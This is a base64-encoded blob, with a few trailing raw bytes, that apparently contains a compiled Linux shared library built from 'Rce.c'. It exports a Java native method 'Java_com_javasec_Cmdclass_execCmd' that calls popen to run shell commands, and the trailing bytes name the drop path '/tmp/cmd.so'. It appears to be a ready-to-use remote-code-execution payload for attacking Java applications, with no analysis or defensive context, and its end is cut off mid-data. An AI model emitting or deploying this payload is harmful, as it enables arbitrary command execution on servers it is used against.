BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnlBQUFBQVJzRE96QUFBQUFGQUFBQUhQRC8vMHdBQUFDczhQLy9kQUFBQUx6dy8vK01BQUFBOWZILy82UUFBQURwOHYvL3hBQUFBQlFBQUFBQUFBQUFBWHBTQUFGNEVBRWJEQWNJa0FFQUFDUUFBQUFjQUFBQXlPLy8vNUFBQUFBQURoQkdEaGhLRHd0M0NJQUFQeG82S2pNa0lnQUFBQUFVQUFBQVJBQUFBRER3Ly84UUFBQUFBQUFBQUFBQUFBQVVBQUFBWEFBQUFDancvLytBQUFBQUFBQUFBQUFBQUFBY0FBQUFkQUFBQUVueC8vLzBBQUFBQUVVT0VJWUNRdzBHQXVzTUJ3Z0FBQndBQUFDVUFBQUFIZkwvLzhVQkFBQUFSUTRRaGdKRERRWUR2QUVNQndnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRHdFUUFBQUFBQUFMQVJBQUFBQUFBQUFRQUFBQUFBQUFDdUFBQUFBQUFBQUF3QUFBQUFBQUFBQUJBQUFBQUFBQUFOQUFBQUFBQUFBTFFVQUFBQUFBQUFHUUFBQUFBQUFBQVFQZ0FBQUFBQUFCc0FBQUFBQUFBQUNBQUFBQUFBQUFBYUFBQUFBQUFBQUJnK0FBQUFBQUFBSEFBQUFBQUFBQUFJQUFBQUFBQUFBUFgrLzI4QUFBQUE4QUlBQUFBQUFBQUZBQUFBQUFBQUFHZ0VBQUFBQUFBQUJnQUFBQUFBQUFBWUF3QUFBQUFBQUFvQUFBQUFBQUFBemdBQUFBQUFBQUFMQUFBQUFBQUFBQmdBQUFBQUFBQUFBd0FBQUFBQUFBQUFRQUFBQUFBQUFBSUFBQUFBQUFBQXdBQUFBQUFBQUFBVUFBQUFBQUFBQUFjQUFBQUFBQUFBRndBQUFBQUFBQUF3QmdBQUFBQUFBQWNBQUFBQUFBQUFpQVVBQUFBQUFBQUlBQUFBQUFBQUFLZ0FBQUFBQUFBQUNRQUFBQUFBQUFBWUFBQUFBQUFBQVA3Ly8yOEFBQUFBV0FVQUFBQUFBQUQvLy85dkFBQUFBQUVBQUFBQUFBQUE4UC8vYndBQUFBQTJCUUFBQUFBQUFQbi8vMjhBQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJRDRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1CQUFBQUFBQUFCQUVBQUFBQUFBQUZBUUFBQUFBQUFBWUJBQUFBQUFBQUJ3RUFBQUFBQUFBSUFRQUFBQUFBQUFrQkFBQUFBQUFBQ2dFQUFBQUFBQUFGaEFBQUFBQUFBQVIwTkRPaUFvVldKMWJuUjFJREV4TGpNdU1DMHhkV0oxYm5SMU1YNHlNaTR3TkNrZ01URXVNeTR3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQUFBSUFEZ0JBRVFBQUFBQUFBQUFBQUFBQUFBQUFEZ0FBQUFJQURnQndFUUFBQUFBQUFBQUFBQUFBQUFBQUlRQUFBQUlBRGdDd0VRQUFBQUFBQUFBQUFBQUFBQUFBTndBQUFBRUFHUUJnUUFBQUFBQUFBQUVBQUFBQUFBQUFRd0FBQUFFQUZBQVlQZ0FBQUFBQUFBQUFBQUFBQUFBQWFnQUFBQUlBRGdEd0VRQUFBQUFBQUFBQUFBQUFBQUFBZGdBQUFBRUFFd0FRUGdBQUFBQUFBQUFBQUFBQUFBQUFsUUFBQUFRQThmOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBbXdBQUFBRUFFZ0RvSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQThmOEFBQUFBQUFBQUFBQUFBQUFBQUFBQXFRQUFBQUlBRHdDMEZBQUFBQUFBQUFBQUFBQUFBQUFBcndBQUFBRUFHQUJZUUFBQUFBQUFBQUFBQUFBQUFBQUF2QUFBQUFFQUZRQWdQZ0FBQUFBQUFBQUFBQUFBQUFBQXhRQUFBQUFBRVFBRUlBQUFBQUFBQUFBQUFBQUFBQUFBMkFBQUFBRUFHQUJnUUFBQUFBQUFBQUFBQUFBQUFBQUE1QUFBQUFFQUZ3QUFRQUFBQUFBQUFBQUFBQUFBQUFBQStnQUFBQUlBQ2dBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFxUUVBQUJJQURnRDVFUUFBQUFBQUFQUUFBQUFBQUFBQUhBRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTndFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFTZ0VBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVhRRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYndFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWp3RUFBQklBRGdEdEVnQUFBQUFBQU1VQkFBQUFBQUFBc1FFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3d0VBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTFnRUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOEFFQUFDSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR055ZEhOMGRXWm1MbU1BWkdWeVpXZHBjM1JsY2w5MGJWOWpiRzl1WlhNQVgxOWtiMTluYkc5aVlXeGZaSFJ2Y25OZllYVjRBR052YlhCc1pYUmxaQzR3QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVGOW1hVzVwWDJGeWNtRjVYMlZ1ZEhKNUFHWnlZVzFsWDJSMWJXMTVBRjlmWm5KaGJXVmZaSFZ0YlhsZmFXNXBkRjloY25KaGVWOWxiblJ5ZVFCU1kyVXVZd0JmWDBaU1FVMUZYMFZPUkY5ZkFGOW1hVzVwQUY5ZlpITnZYMmhoYm1Sc1pRQmZSRmxPUVUxSlF3QmZYMGRPVlY5RlNGOUdVa0ZOUlY5SVJGSUFYMTlVVFVOZlJVNUVYMThBWDBkTVQwSkJURjlQUmtaVFJWUmZWRUZDVEVWZkFGOXBibWwwQUY5SlZFMWZaR1Z5WldkcGMzUmxjbFJOUTJ4dmJtVlVZV0pzWlFCZlgzTjBZV05yWDJOb2ExOW1ZV2xzUUVkTVNVSkRYekl1TkFCd1kyeHZjMlZBUjB4SlFrTmZNaTR5TGpVQWJXVnRjMlYwUUVkTVNVSkRYekl1TWk0MUFHWm5aWFJ6UUVkTVNVSkRYekl1TWk0MUFHWmxiMlpBUjB4SlFrTmZNaTR5TGpVQVgxOW5iVzl1WDNOMFlYSjBYMThBU21GMllWOWpiMjFmYW1GMllYTmxZMTlEYldSamJHRnpjMTlsZUdWalEyMWtBSEJ2Y0dWdVFFZE1TVUpEWHpJdU1pNDFBSE4wY21OaGRFQkhURWxDUTE4eUxqSXVOUUJmU1ZSTlgzSmxaMmx6ZEdWeVZFMURiRzl1WlZSaFlteGxBRjlmWTNoaFgyWnBibUZzYVhwbFFFZE1TVUpEWHpJdU1pNDFBQUF1YzNsdGRHRmlBQzV6ZEhKMFlXSUFMbk5vYzNSeWRHRmlBQzV1YjNSbExtZHVkUzV3Y205d1pYSjBlUUF1Ym05MFpTNW5iblV1WW5WcGJHUXRhV1FBTG1kdWRTNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJHRXVaSGx1QUM1eVpXeGhMbkJzZEFBdWFXNXBkQUF1Y0d4MExtZHZkQUF1Y0d4MExuTmxZd0F1ZEdWNGRBQXVabWx1YVFBdWNtOWtZWFJoQUM1bGFGOW1jbUZ0WlY5b1pISUFMbVZvWDJaeVlXMWxBQzVwYm1sMFgyRnljbUY1QUM1bWFXNXBYMkZ5Y21GNUFDNWtlVzVoYldsakFDNW5iM1F1Y0d4MEFDNWtZWFJoQUM1aWMzTUFMbU52YlcxbGJuUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnNBQUFBSEFBQUFBZ0FBQUFBQUFBQ29BZ0FBQUFBQUFLZ0NBQUFBQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUF1QUFBQUJ3QUFBQUlBQUFBQUFBQUF5QUlBQUFBQUFBRElBZ0FBQUFBQUFDUUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBUVFBQUFQYi8vMjhDQUFBQUFBQUFBUEFDQUFBQUFBQUE4QUlBQUFBQUFBQW9BQUFBQUFBQUFBUUFBQUFBQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUVzQUFBQUxBQUFBQWdBQUFBQUFBQUFZQXdBQUFBQUFBQmdEQUFBQUFBQUFVQUVBQUFBQUFBQUZBQUFBQVFBQUFBZ0FBQUFBQUFBQUdBQUFBQUFBQUFCVEFBQUFBd0FBQUFJQUFBQUFBQUFBYUFRQUFBQUFBQUJvQkFBQUFBQUFBTTRBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQVd3QUFBUC8vLzI4Q0FBQUFBQUFBQURZRkFBQUFBQUFBTmdVQUFBQUFBQUFjQUFBQUFBQUFBQVFBQUFBQUFBQUFBZ0FBQUFBQUFBQUNBQUFBQUFBQUFHZ0FBQUQrLy85dkFnQUFBQUFBQUFCWUJRQUFBQUFBQUZnRkFBQUFBQUFBTUFBQUFBQUFBQUFGQUFBQUFRQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQjNBQUFBQkFBQUFBSUFBQUFBQUFBQWlBVUFBQUFBQUFDSUJRQUFBQUFBQUtnQUFBQUFBQUFBQkFBQUFBQUFBQUFJQUFBQUFBQUFBQmdBQUFBQUFBQUFnUUFBQUFRQUFBQkNBQUFBQUFBQUFEQUdBQUFBQUFBQU1BWUFBQUFBQUFEQUFBQUFBQUFBQUFRQUFBQVhBQUFBQ0FBQUFBQUFBQUFZQUFBQUFBQUFBSXNBQUFBQkFBQUFCZ0FBQUFBQUFBQUFFQUFBQUFBQUFBQVFBQUFBQUFBQUd3QUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUNHQUFBQUFRQUFBQVlBQUFBQUFBQUFJQkFBQUFBQUFBQWdFQUFBQUFBQUFKQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUJBQUFBQUFBQUFBa1FBQUFBRUFBQUFHQUFBQUFBQUFBTEFRQUFBQUFBQUFzQkFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUpvQUFBQUJBQUFBQmdBQUFBQUFBQURBRUFBQUFBQUFBTUFRQUFBQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBQUFDakFBQUFBUUFBQUFZQUFBQUFBQUFBUUJFQUFBQUFBQUJBRVFBQUFBQUFBSElEQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQXFRQUFBQUVBQUFBR0FBQUFBQUFBQUxRVUFBQUFBQUFBdEJRQUFBQUFBQUFOQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFLOEFBQUFCQUFBQUFnQUFBQUFBQUFBQUlBQUFBQUFBQUFBZ0FBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQzNBQUFBQVFBQUFBSUFBQUFBQUFBQUJDQUFBQUFBQUFBRUlBQUFBQUFBQURRQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUF4UUFBQUFFQUFBQUNBQUFBQUFBQUFEZ2dBQUFBQUFBQU9DQUFBQUFBQUFDMEFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBTThBQUFBT0FBQUFBd0FBQUFBQUFBQVFQZ0FBQUFBQUFCQXVBQUFBQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQURiQUFBQUR3QUFBQU1BQUFBQUFBQUFHRDRBQUFBQUFBQVlMZ0FBQUFBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQUFnQUFBQUFBQUFBNXdBQUFBWUFBQUFEQUFBQUFBQUFBQ0ErQUFBQUFBQUFJQzRBQUFBQUFBREFBUUFBQUFBQUFBVUFBQUFBQUFBQUNBQUFBQUFBQUFBUUFBQUFBQUFBQUpVQUFBQUJBQUFBQXdBQUFBQUFBQURnUHdBQUFBQUFBT0F2QUFBQUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBQUNBQUFBQUFBQUFEd0FBQUFBUUFBQUFNQUFBQUFBQUFBQUVBQUFBQUFBQUFBTUFBQUFBQUFBRmdBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFBZ0FBQUFBQUFBQStRQUFBQUVBQUFBREFBQUFBQUFBQUZoQUFBQUFBQUFBV0RBQUFBQUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFQOEFBQUFJQUFBQUF3QUFBQUFBQUFCZ1FBQUFBQUFBQUdBd0FBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUVBUUFBQVFBQUFEQUFBQUFBQUFBQUFBQUFBQUFBQUFCZ01BQUFBQUFBQUNzQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBQUFBUUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWtEQUFBQUFBQUFBWUF3QUFBQUFBQUJ3QUFBQVVBQUFBQ0FBQUFBQUFBQUFZQUFBQUFBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLZ3pBQUFBQUFBQUN3SUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ3pOUUFBQUFBQUFBMEJBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBDABIAEkBAAsvdG1wL2NtZC5zbwwASgBJBwEMDAENAQ4BAAZzd